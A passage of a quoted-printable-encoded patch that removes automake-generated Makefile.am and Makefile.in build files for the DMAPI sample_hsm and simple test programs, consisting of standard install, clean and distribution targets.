fi; \ -=09 cp -pR $$d/$$file $(distdir)$$dir || exit 1; \ -=09 else \ -=09 test -f $(distdir)/$$file \ -=09 || cp -p $$d/$$file $(distdir)/$$file \ -=09 || exit 1; \ -=09 fi; \ -=09done -check-am: all-am -check: check-am -all-am: Makefile $(LTLIBRARIES) -installdirs: -=09for dir in "$(DESTDIR)$(libdir)"; do \ -=09 test -z "$$dir" || $(mkdir_p) "$$dir"; \ -=09done -install: install-am -install-exec: install-exec-am -install-data: install-data-am -uninstall: uninstall-am - -install-am: all-am -=09@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am - -installcheck: installcheck-am -install-strip: -=09$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)= " \ -=09 install_sh_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLA= G=3D-s \ -=09 `test -z '$(STRIP)' || \ -=09 echo "INSTALL_PROGRAM_ENV=3DSTRIPPROG=3D'$(STRIP)'"` install -mostlyclean-generic: - -clean-generic: - -distclean-generic: -=09-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) - -maintainer-clean-generic: -=09@echo "This command is intended for maintainers to use" -=09@echo "it deletes files that may require special tools to rebuild." -clean: clean-am - -clean-am: clean-generic clean-libLTLIBRARIES clean-libtool \ -=09mostlyclean-am - -distclean: distclean-am -=09-rm -rf ./$(DEPDIR) -=09-rm -f Makefile -distclean-am: clean-am distclean-compile distclean-generic \ -=09distclean-libtool distclean-tags - -dvi: dvi-am - -dvi-am: - -html: html-am - -info: info-am - -info-am: - -install-data-am: - -install-exec-am: install-libLTLIBRARIES - -install-info: install-info-am - -install-man: - -installcheck-am: - -maintainer-clean: maintainer-clean-am -=09-rm -rf ./$(DEPDIR) -=09-rm -f Makefile -maintainer-clean-am: distclean-am maintainer-clean-generic - -mostlyclean: mostlyclean-am - -mostlyclean-am: mostlyclean-compile mostlyclean-generic \ -=09mostlyclean-libtool - -pdf: pdf-am - -pdf-am: - -ps: ps-am - -ps-am: - -uninstall-am: uninstall-info-am uninstall-libLTLIBRARIES - -.PHONY: CTAGS GTAGS all all-am check check-am clean clean-generic \ -=09clean-libLTLIBRARIES clean-libtool ctags distclean \ -=09distclean-compile distclean-generic distclean-libtool \ -=09distclean-tags distdir dvi dvi-am html html-am info info-am \ -=09install install-am install-data install-data-am install-exec \ -=09install-exec-am install-info install-info-am \ -=09install-libLTLIBRARIES install-man install-strip installcheck \ -=09installcheck-am installdirs maintainer-clean \ -=09maintainer-clean-generic mostlyclean mostlyclean-compile \ -=09mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \ -=09tags uninstall uninstall-am uninstall-info-am \ -=09uninstall-libLTLIBRARIES - -# Tell versions [3.59,3.63) of GNU make to not export all variables. -# Otherwise a system limit (for SysV at least) may be exceeded. -.NOEXPORT: Index: b/dmapi/src/sample_hsm/Makefile.am =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/sample_hsm/Makefile.am +++ /dev/null @@ -1,11 +0,0 @@ -## Process this file with automake to produce Makefile.in - -## -## Copyright (c) 2000-2001 Silicon Graphics, Inc. All Rights Reserved= . -## - -bin_PROGRAMS =3D migfind migin migout mls mrmean wbee - -# print_event -- superceded by suite1/cmd/print_event - -LDADD =3D $(top_builddir)/src/common/lib/libdmtest.la Index: b/dmapi/src/sample_hsm/Makefile.in =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/sample_hsm/Makefile.in +++ /dev/null @@ -1,487 +0,0 @@ -# Makefile.in generated by automake 1.9.1 from Makefile.am. -# @configure_input@ - -# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, -# 2003, 2004 Free Software Foundation, Inc. -# This Makefile.in is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY, to the extent permitted by law; without -# even the implied warranty of MERCHANTABILITY or FITNESS FOR A -# PARTICULAR PURPOSE. - -@SET_MAKE@ - -SOURCES =3D migfind.c migin.c migout.c mls.c mrmean.c wbee.c - -srcdir =3D @srcdir@ -top_srcdir =3D @top_srcdir@ -VPATH =3D @srcdir@ -pkgdatadir =3D $(datadir)/@PACKAGE@ -pkglibdir =3D $(libdir)/@PACKAGE@ -pkgincludedir =3D $(includedir)/@PACKAGE@ -top_builddir =3D ../.. -am__cd =3D CDPATH=3D"$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd -INSTALL =3D @INSTALL@ -install_sh_DATA =3D $(install_sh) -c -m 644 -install_sh_PROGRAM =3D $(install_sh) -c -install_sh_SCRIPT =3D $(install_sh) -c -INSTALL_HEADER =3D $(INSTALL_DATA) -transform =3D $(program_transform_name) -NORMAL_INSTALL =3D : -PRE_INSTALL =3D : -POST_INSTALL =3D : -NORMAL_UNINSTALL =3D : -PRE_UNINSTALL =3D : -POST_UNINSTALL =3D : -build_triplet =3D @build@ -host_triplet =3D @host@ -bin_PROGRAMS =3D migfind$(EXEEXT) migin$(EXEEXT) migout$(EXEEXT) \ -=09mls$(EXEEXT) mrmean$(EXEEXT) wbee$(EXEEXT) -subdir =3D src/sample_hsm -DIST_COMMON =3D README $(srcdir)/Makefile.am $(srcdir)/Makefile.in -ACLOCAL_M4 =3D $(top_srcdir)/aclocal.m4 -am__aclocal_m4_deps =3D $(top_srcdir)/configure.ac -am__configure_deps =3D $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES= ) \ -=09$(ACLOCAL_M4) -mkinstalldirs =3D $(install_sh) -d -CONFIG_CLEAN_FILES =3D -am__installdirs =3D "$(DESTDIR)$(bindir)" -binPROGRAMS_INSTALL =3D $(INSTALL_PROGRAM) -PROGRAMS =3D $(bin_PROGRAMS) -migfind_SOURCES =3D migfind.c -migfind_OBJECTS =3D migfind.$(OBJEXT) -migfind_LDADD =3D $(LDADD) -migfind_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.la -migin_SOURCES =3D migin.c -migin_OBJECTS =3D migin.$(OBJEXT) -migin_LDADD =3D $(LDADD) -migin_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.la -migout_SOURCES =3D migout.c -migout_OBJECTS =3D migout.$(OBJEXT) -migout_LDADD =3D $(LDADD) -migout_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.la -mls_SOURCES =3D mls.c -mls_OBJECTS =3D mls.$(OBJEXT) -mls_LDADD =3D $(LDADD) -mls_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.la -mrmean_SOURCES =3D mrmean.c -mrmean_OBJECTS =3D mrmean.$(OBJEXT) -mrmean_LDADD =3D $(LDADD) -mrmean_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.la -wbee_SOURCES =3D wbee.c -wbee_OBJECTS =3D wbee.$(OBJEXT) -wbee_LDADD =3D $(LDADD) -wbee_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.la -DEFAULT_INCLUDES =3D -I. -I$(srcdir) -depcomp =3D $(SHELL) $(top_srcdir)/depcomp -am__depfiles_maybe =3D depfiles -COMPILE =3D $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAG= S) \ -=09$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -LTCOMPILE =3D $(LIBTOOL) --mode=3Dcompile --tag=3DCC $(CC) $(DEFS) \ -=09$(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \ -=09$(AM_CFLAGS) $(CFLAGS) -CCLD =3D $(CC) -LINK =3D $(LIBTOOL) --mode=3Dlink --tag=3DCC $(CCLD) $(AM_CFLAGS) $(CF= LAGS) \ -=09$(AM_LDFLAGS) $(LDFLAGS) -o $@ -SOURCES =3D migfind.c migin.c migout.c mls.c mrmean.c wbee.c -DIST_SOURCES =3D migfind.c migin.c migout.c mls.c mrmean.c wbee.c -ETAGS =3D etags -CTAGS =3D ctags -DISTFILES =3D $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) -ACLOCAL =3D @ACLOCAL@ -AMDEP_FALSE =3D @AMDEP_FALSE@ -AMDEP_TRUE =3D @AMDEP_TRUE@ -AMTAR =3D @AMTAR@ -AR =3D @AR@ -AUTOCONF =3D @AUTOCONF@ -AUTOHEADER =3D @AUTOHEADER@ -AUTOMAKE =3D @AUTOMAKE@ -AWK =3D @AWK@ -CC =3D @CC@ -CCDEPMODE =3D @CCDEPMODE@ -CFLAGS =3D @CFLAGS@ -CPP =3D @CPP@ -CPPFLAGS =3D @CPPFLAGS@ -CXX =3D @CXX@ -CXXCPP =3D @CXXCPP@ -CXXDEPMODE =3D @CXXDEPMODE@ -CXXFLAGS =3D @CXXFLAGS@ -CYGPATH_W =3D @CYGPATH_W@ -DEFS =3D @DEFS@ -DEPDIR =3D @DEPDIR@ -ECHO =3D @ECHO@ -ECHO_C =3D @ECHO_C@ -ECHO_N =3D @ECHO_N@ -ECHO_T =3D @ECHO_T@ -EGREP =3D @EGREP@ -EXEEXT =3D @EXEEXT@ -F77 =3D @F77@ -FFLAGS =3D @FFLAGS@ -INSTALL_DATA =3D @INSTALL_DATA@ -INSTALL_PROGRAM =3D @INSTALL_PROGRAM@ -INSTALL_SCRIPT =3D @INSTALL_SCRIPT@ -INSTALL_STRIP_PROGRAM =3D @INSTALL_STRIP_PROGRAM@ -LDFLAGS =3D @LDFLAGS@ -LIBOBJS =3D @LIBOBJS@ -LIBS =3D @LIBS@ -LIBTOOL =3D @LIBTOOL@ -LN_S =3D @LN_S@ -LTLIBOBJS =3D @LTLIBOBJS@ -MAKEINFO =3D @MAKEINFO@ -OBJEXT =3D @OBJEXT@ -PACKAGE =3D @PACKAGE@ -PACKAGE_BUGREPORT =3D @PACKAGE_BUGREPORT@ -PACKAGE_NAME =3D @PACKAGE_NAME@ -PACKAGE_STRING =3D @PACKAGE_STRING@ -PACKAGE_TARNAME =3D @PACKAGE_TARNAME@ -PACKAGE_VERSION =3D @PACKAGE_VERSION@ -PATH_SEPARATOR =3D @PATH_SEPARATOR@ -RANLIB =3D @RANLIB@ -SET_MAKE =3D @SET_MAKE@ -SHELL =3D @SHELL@ -STRIP =3D @STRIP@ -VERSION =3D @VERSION@ -ac_ct_AR =3D @ac_ct_AR@ -ac_ct_CC =3D @ac_ct_CC@ -ac_ct_CXX =3D @ac_ct_CXX@ -ac_ct_F77 =3D @ac_ct_F77@ -ac_ct_RANLIB =3D @ac_ct_RANLIB@ -ac_ct_STRIP =3D @ac_ct_STRIP@ -am__fastdepCC_FALSE =3D @am__fastdepCC_FALSE@ -am__fastdepCC_TRUE =3D @am__fastdepCC_TRUE@ -am__fastdepCXX_FALSE =3D @am__fastdepCXX_FALSE@ -am__fastdepCXX_TRUE =3D @am__fastdepCXX_TRUE@ -am__include =3D @am__include@ -am__leading_dot =3D @am__leading_dot@ -am__quote =3D @am__quote@ -am__tar =3D @am__tar@ -am__untar =3D @am__untar@ -bindir =3D @bindir@ -build =3D @build@ -build_alias =3D @build_alias@ -build_cpu =3D @build_cpu@ -build_os =3D @build_os@ -build_vendor =3D @build_vendor@ -datadir =3D @datadir@ -exec_prefix =3D @exec_prefix@ -host =3D @host@ -host_alias =3D @host_alias@ -host_cpu =3D @host_cpu@ -host_os =3D @host_os@ -host_vendor =3D @host_vendor@ -includedir =3D @includedir@ -infodir =3D @infodir@ -install_sh =3D @install_sh@ -libdir =3D @libdir@ -libexecdir =3D @libexecdir@ -localstatedir =3D @localstatedir@ -mandir =3D @mandir@ -mkdir_p =3D @mkdir_p@ -oldincludedir =3D @oldincludedir@ -prefix =3D @prefix@ -program_transform_name =3D @program_transform_name@ -sbindir =3D @sbindir@ -sharedstatedir =3D @sharedstatedir@ -sysconfdir =3D @sysconfdir@ -target_alias =3D @target_alias@ - -# print_event -- superceded by suite1/cmd/print_event -LDADD =3D $(top_builddir)/src/common/lib/libdmtest.la -all: all-am - -.SUFFIXES: -.SUFFIXES: .c .lo .o .obj -$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) -=09@for dep in $?; do \ -=09 case '$(am__configure_deps)' in \ -=09 *$$dep*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \ -=09=09&& exit 0; \ -=09 exit 1;; \ -=09 esac; \ -=09done; \ -=09echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/sample_hsm/Makefi= le'; \ -=09cd $(top_srcdir) && \ -=09 $(AUTOMAKE) --gnu src/sample_hsm/Makefile -.PRECIOUS: Makefile -Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status -=09@case '$?' in \ -=09 *config.status*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ -=09 *) \ -=09 echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)= /$@ $(am__depfiles_maybe)'; \ -=09 cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(a= m__depfiles_maybe);; \ -=09esac; - -$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS= _DEPENDENCIES) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh - -$(top_srcdir)/configure: $(am__configure_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -$(ACLOCAL_M4): $(am__aclocal_m4_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -install-binPROGRAMS: $(bin_PROGRAMS) -=09@$(NORMAL_INSTALL) -=09test -z "$(bindir)" || $(mkdir_p) "$(DESTDIR)$(bindir)" -=09@list=3D'$(bin_PROGRAMS)'; for p in $$list; do \ -=09 p1=3D`echo $$p|sed 's/$(EXEEXT)$$//'`; \ -=09 if test -f $$p \ -=09 || test -f $$p1 \ -=09 ; then \ -=09 f=3D`echo "$$p1" | sed 's,^.*/,,;$(transform);s/$$/$(EXEEXT)/'`= ; \ -=09 echo " $(INSTALL_PROGRAM_ENV) $(LIBTOOL) --mode=3Dinstall $(binP= ROGRAMS_INSTALL) '$$p' '$(DESTDIR)$(bindir)/$$f'"; \ -=09 $(INSTALL_PROGRAM_ENV) $(LIBTOOL) --mode=3Dinstall $(binPROGRAMS= _INSTALL) "$$p" "$(DESTDIR)$(bindir)/$$f" || exit 1; \ -=09 else :; fi; \ -=09done - -uninstall-binPROGRAMS: -=09@$(NORMAL_UNINSTALL) -=09@list=3D'$(bin_PROGRAMS)'; for p in $$list; do \ -=09 f=3D`echo "$$p" | sed 's,^.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$= /$(EXEEXT)/'`; \ -=09 echo " rm -f '$(DESTDIR)$(bindir)/$$f'"; \ -=09 rm -f "$(DESTDIR)$(bindir)/$$f"; \ -=09done - -clean-binPROGRAMS: -=09@list=3D'$(bin_PROGRAMS)'; for p in $$list; do \ -=09 f=3D`echo $$p|sed 's/$(EXEEXT)$$//'`; \ -=09 echo " rm -f $$p $$f"; \ -=09 rm -f $$p $$f ; \ -=09done -migfind$(EXEEXT): $(migfind_OBJECTS) $(migfind_DEPENDENCIES)=20 -=09@rm -f migfind$(EXEEXT) -=09$(LINK) $(migfind_LDFLAGS) $(migfind_OBJECTS) $(migfind_LDADD) $(LI= BS) -migin$(EXEEXT): $(migin_OBJECTS) $(migin_DEPENDENCIES)=20 -=09@rm -f migin$(EXEEXT) -=09$(LINK) $(migin_LDFLAGS) $(migin_OBJECTS) $(migin_LDADD) $(LIBS) -migout$(EXEEXT): $(migout_OBJECTS) $(migout_DEPENDENCIES)=20 -=09@rm -f migout$(EXEEXT) -=09$(LINK) $(migout_LDFLAGS) $(migout_OBJECTS) $(migout_LDADD) $(LIBS) -mls$(EXEEXT): $(mls_OBJECTS) $(mls_DEPENDENCIES)=20 -=09@rm -f mls$(EXEEXT) -=09$(LINK) $(mls_LDFLAGS) $(mls_OBJECTS) $(mls_LDADD) $(LIBS) -mrmean$(EXEEXT): $(mrmean_OBJECTS) $(mrmean_DEPENDENCIES)=20 -=09@rm -f mrmean$(EXEEXT) -=09$(LINK) $(mrmean_LDFLAGS) $(mrmean_OBJECTS) $(mrmean_LDADD) $(LIBS) -wbee$(EXEEXT): $(wbee_OBJECTS) $(wbee_DEPENDENCIES)=20 -=09@rm -f wbee$(EXEEXT) -=09$(LINK) $(wbee_LDFLAGS) $(wbee_OBJECTS) $(wbee_LDADD) $(LIBS) - -mostlyclean-compile: -=09-rm -f *.$(OBJEXT) - -distclean-compile: -=09-rm -f *.tab.c - -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/migfind.Po@am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/migin.Po@am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/migout.Po@am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/mls.Po@am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/mrmean.Po@am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/wbee.Po@am__quote@ - -.c.o: -@am__fastdepCC_TRUE@=09if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.= Tpo" -c -o $@ $<; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"= ; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dno @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(COMPILE) -c $< - -.c.obj: -@am__fastdepCC_TRUE@=09if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.= Tpo" -c -o $@ `$(CYGPATH_W) '$<'`; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"= ; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dno @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(COMPILE) -c `$(CYGPATH_W) '$<'` - -.c.lo: -@am__fastdepCC_TRUE@=09if $(LTCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$= *.Tpo" -c -o $@ $<; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Plo= "; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dyes @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(LTCOMPILE) -c -o $@ $< - -mostlyclean-libtool: -=09-rm -f *.lo - -clean-libtool: -=09-rm -rf .libs _libs - -distclean-libtool: -=09-rm -f libtool -uninstall-info-am: - -ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09mkid -fID $$unique -tags: TAGS - -TAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \ -=09 test -n "$$unique" || unique=3D$$empty_fix; \ -=09 $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ -=09 $$tags $$unique; \ -=09fi -ctags: CTAGS -CTAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09test -z "$(CTAGS_ARGS)$$tags$$unique" \ -=09 || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ -=09 $$tags $$unique - -GTAGS: -=09here=3D`$(am__cd) $(top_builddir) && pwd` \ -=09 && cd $(top_srcdir) \ -=09 && gtags -i $(GTAGS_ARGS) $$here - -distclean-tags: -=09-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags - -distdir: $(DISTFILES) -=09@srcdirstrip=3D`echo "$(srcdir)" | sed 's|.|.|g'`; \ -=09topsrcdirstrip=3D`echo "$(top_srcdir)" | sed 's|.|.|g'`; \ -=09list=3D'$(DISTFILES)'; for file in $$list; do \ -=09 case $$file in \ -=09 $(srcdir)/*) file=3D`echo "$$file" | sed "s|^$$srcdirstrip/||"`= ;; \ -=09 $(top_srcdir)/*) file=3D`echo "$$file" | sed "s|^$$topsrcdirstr= ip/|$(top_builddir)/|"`;; \ -=09 esac; \ -=09 if test -f $$file || test -d $$file; then d=3D.; else d=3D$(srcdi= r); fi; \ -=09 dir=3D`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \ -=09 if test "$$dir" !=3D "$$file" && test "$$dir" !=3D "."; then \ -=09 dir=3D"/$$dir"; \ -=09 $(mkdir_p) "$(distdir)$$dir"; \ -=09 else \ -=09 dir=3D''; \ -=09 fi; \ -=09 if test -d $$d/$$file; then \ -=09 if test -d $(srcdir)/$$file && test $$d !=3D $(srcdir); then \ -=09 cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \ -=09 fi; \ -=09 cp -pR $$d/$$file $(distdir)$$dir || exit 1; \ -=09 else \ -=09 test -f $(distdir)/$$file \ -=09 || cp -p $$d/$$file $(distdir)/$$file \ -=09 || exit 1; \ -=09 fi; \ -=09done -check-am: all-am -check: check-am -all-am: Makefile $(PROGRAMS) -installdirs: -=09for dir in "$(DESTDIR)$(bindir)"; do \ -=09 test -z "$$dir" || $(mkdir_p) "$$dir"; \ -=09done -install: install-am -install-exec: install-exec-am -install-data: install-data-am -uninstall: uninstall-am - -install-am: all-am -=09@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am - -installcheck: installcheck-am -install-strip: -=09$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)= " \ -=09 install_sh_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLA= G=3D-s \ -=09 `test -z '$(STRIP)' || \ -=09 echo "INSTALL_PROGRAM_ENV=3DSTRIPPROG=3D'$(STRIP)'"` install -mostlyclean-generic: - -clean-generic: - -distclean-generic: -=09-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) - -maintainer-clean-generic: -=09@echo "This command is intended for maintainers to use" -=09@echo "it deletes files that may require special tools to rebuild." -clean: clean-am - -clean-am: clean-binPROGRAMS clean-generic clean-libtool mostlyclean-am - -distclean: distclean-am -=09-rm -rf ./$(DEPDIR) -=09-rm -f Makefile -distclean-am: clean-am distclean-compile distclean-generic \ -=09distclean-libtool distclean-tags - -dvi: dvi-am - -dvi-am: - -html: html-am - -info: info-am - -info-am: - -install-data-am: - -install-exec-am: install-binPROGRAMS - -install-info: install-info-am - -install-man: - -installcheck-am: - -maintainer-clean: maintainer-clean-am -=09-rm -rf ./$(DEPDIR) -=09-rm -f Makefile -maintainer-clean-am: distclean-am maintainer-clean-generic - -mostlyclean: mostlyclean-am - -mostlyclean-am: mostlyclean-compile mostlyclean-generic \ -=09mostlyclean-libtool - -pdf: pdf-am - -pdf-am: - -ps: ps-am - -ps-am: - -uninstall-am: uninstall-binPROGRAMS uninstall-info-am - -.PHONY: CTAGS GTAGS all all-am check check-am clean clean-binPROGRAMS = \ -=09clean-generic clean-libtool ctags distclean distclean-compile \ -=09distclean-generic distclean-libtool distclean-tags distdir dvi \ -=09dvi-am html html-am info info-am install install-am \ -=09install-binPROGRAMS install-data install-data-am install-exec \ -=09install-exec-am install-info install-info-am install-man \ -=09install-strip installcheck installcheck-am installdirs \ -=09maintainer-clean maintainer-clean-generic mostlyclean \ -=09mostlyclean-compile mostlyclean-generic mostlyclean-libtool \ -=09pdf pdf-am ps ps-am tags uninstall uninstall-am \ -=09uninstall-binPROGRAMS uninstall-info-am - -# Tell versions [3.59,3.63) of GNU make to not export all variables. -# Otherwise a system limit (for SysV at least) may be exceeded. -.NOEXPORT: Index: b/dmapi/src/simple/Makefile.am =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/simple/Makefile.am +++ /dev/null @@ -1,8 +0,0 @@ -## Process this file with automake to produce Makefile.in - -## -## Copyright (c) 2000-2001 Silicon Graphics, Inc. All Rights Reserved= . -## - -bin_PROGRAMS =3D dm_create_session dm_destroy_session dm_find_eventmsg= \ -=09=09dm_getall_sessions dm_getall_tokens dm_query_session Index: b/dmapi/src/simple/Makefile.in =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/simple/Makefile.in +++ /dev/null @@ -1,482 +0,0 @@ -# Makefile.in generated by automake 1.9.1 from Makefile.am. -# @configure_input@ - -# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, -# 2003, 2004 Free Software Foundation, Inc. -# This Makefile.in is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY, to the extent permitted by law; without -# even the implied warranty of MERCHANTABILITY or FITNESS FOR A -# PARTICULAR PURPOSE. - -@SET_MAKE@ - -SOURCES =3D dm_create_session.c dm_destroy_session.c dm_find_eventmsg.= c dm_getall_sessions.c dm_getall_tokens.c dm_query_session.c - -srcdir =3D @srcdir@ -top_srcdir =3D @top_srcdir@ -VPATH =3D @srcdir@ -pkgdatadir =3D $(datadir)/@PACKAGE@ -pkglibdir =3D $(libdir)/@PACKAGE@ -pkgincludedir =3D $(includedir)/@PACKAGE@ -top_builddir =3D ../.. -am__cd =3D CDPATH=3D"$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd -INSTALL =3D @INSTALL@ -install_sh_DATA =3D $(install_sh) -c -m 644 -install_sh_PROGRAM =3D $(install_sh) -c -install_sh_SCRIPT =3D $(install_sh) -c -INSTALL_HEADER =3D $(INSTALL_DATA) -transform =3D $(program_transform_name) -NORMAL_INSTALL =3D : -PRE_INSTALL =3D : -POST_INSTALL =3D : -NORMAL_UNINSTALL =3D : -PRE_UNINSTALL =3D : -POST_UNINSTALL =3D : -build_triplet =3D @build@ -host_triplet =3D @host@ -bin_PROGRAMS =3D dm_create_session$(EXEEXT) dm_destroy_session$(EXEEXT= ) \ -=09dm_find_eventmsg$(EXEEXT) dm_getall_sessions$(EXEEXT) \ 